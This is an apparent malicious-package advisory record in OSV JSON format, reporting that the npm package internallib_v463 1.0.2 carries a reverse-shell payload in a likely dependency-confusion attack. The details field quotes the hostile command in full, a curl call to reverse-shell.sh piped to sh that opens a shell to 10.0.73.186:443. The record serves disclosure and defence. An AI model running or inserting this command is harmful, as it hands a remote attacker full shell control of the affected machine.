internallib_v463

{"modified":"2026-09-23T18:30:31Z","published":"2026-09-23T18:30:31Z","schema_version":"1.7.4","id":"MAL-2026-16481","summary":"Malicious code in internallib_v463 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7)\nindex.js exports a function `command` that runs `/bin/bash -c \"curl https://reverse-shell.sh/10.0.73.186:443|sh\"`, fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer host. The module contains a `console.log(\"Primeiro PWN\")` string, consistent with hostile intent rather than a legitimate utility. The package name (`internallib_v463`) and the private-range destination IP are consistent with a dependency-confusion payload targeting an internal package name.\n","affected":[{"package":{"ecosystem":"npm","name":"internallib_v463"},"versions":["1.0.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"3babdf5501a4c8405ece5d9ba33257e5458f9e6f58fc2b33a9ed6c7281209f34","tlsh":"a4d022fb16fe1529b70431d0e88af07678234c20223800b091505482258254d22e31ef"}],"package_integrity":[{"filename":"internallib_v463-1.0.2.tgz","hashes":{"sha1":"0e710624d5911d0147454b3726cff6f831f3fef9","sha512_sri":"sha512-XbT9JG60+ggbvx060eFUor6PXJT+/KxjoD1+87Xs8pVzCMgRaBrYyv8FWLzKVq3DyazEjin2G92fExObLmJ3sg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v463/v/1.0.2"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-020496","import_time":"2026-09-23T18:44:13.449924963Z","modified_time":"2026-09-23T18:30:31Z","sha256":"0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7","source":"amazon-inspector","versions":["1.0.2"]}]}}